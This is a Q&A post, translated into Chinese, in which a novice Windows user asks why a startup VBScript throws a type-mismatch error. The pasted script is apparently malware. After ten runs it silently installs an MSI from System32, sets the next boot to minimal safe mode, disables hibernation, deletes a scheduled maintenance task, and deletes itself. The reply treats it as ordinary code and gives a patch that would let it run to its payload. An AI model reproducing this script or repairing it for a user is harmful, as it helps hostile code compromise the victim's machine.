【问题标题】:Windows script Host problem.. error code 800a000D..Type mismatch "Clnt"Windows 脚本主机问题..错误代码 800a000D..类型不匹配“Clnt”
【发布时间】:2020-01-09 17:24:39
【问题描述】:

您好,我是 Windows 10 用户,对编程知之甚少。出现错误,Windows 无法加载...当我的电脑打开时出现一个对话框...“Windows 脚本主机”

这段代码有什么问题...错误说它在第 10 行 char 2 上

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
    Set setting = fso.OpenTextFile(ccdat, 1, 0)
    cc = CInt(setting.ReadLine)
    setting.Close

    If(cc > 9) Then
        oShell.Run strArgs, 0, false
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        strScript = Wscript.ScriptFullName
        objFSO.DeleteFile(ccdat)
        objFSO.DeleteFile(strScript)
        WScript.Quit()
    End If

    Set setting = fso.CreateTextFile(ccdat, True, False)
    cc = cc+1
    setting.Write(cc)
    setting.Close
    WScript.Quit()
Else

Set setting = fso.CreateTextFile(ccdat, True, False)
    setting.Write("0")
    setting.Close
    WScript.Quit()
End If

【问题讨论】:

  • 1) 您的代码是 VBScript,而不是 PowerShell。 2) 您正在从文本文件中读取文本并将其传递给CInt 函数,如果文件中的文本无法解释为整数值,则会引发错误。

标签: windows shell vbscript wsh


【解决方案1】:

根据您的示例,updatesettings.dbf 似乎只是一个包含增量计数器的文件。事实上,计数器值可能大于 MAXINT,这也可能导致该错误。如果为真,请尝试更改第 10 行:

cc = CInt(setting.ReadLine)

到这里:

On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0

这应该有效地处理错误并强制 cc 变量进入预初始化状态,稍后(第 23 行)将递增到其初始初始化状态零 (0) 并保存到 updatesettings.dbf 文件中。含义:当 updatesettings.dbf 文件不存在时,这应该与第 27 行之后的“Else”初始化块相同。

希望这会有所帮助。

【讨论】:

    猜你喜欢
    • 2013-07-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-04-10
    • 2020-08-25
    • 1970-01-01
    相关资源
    最近更新 更多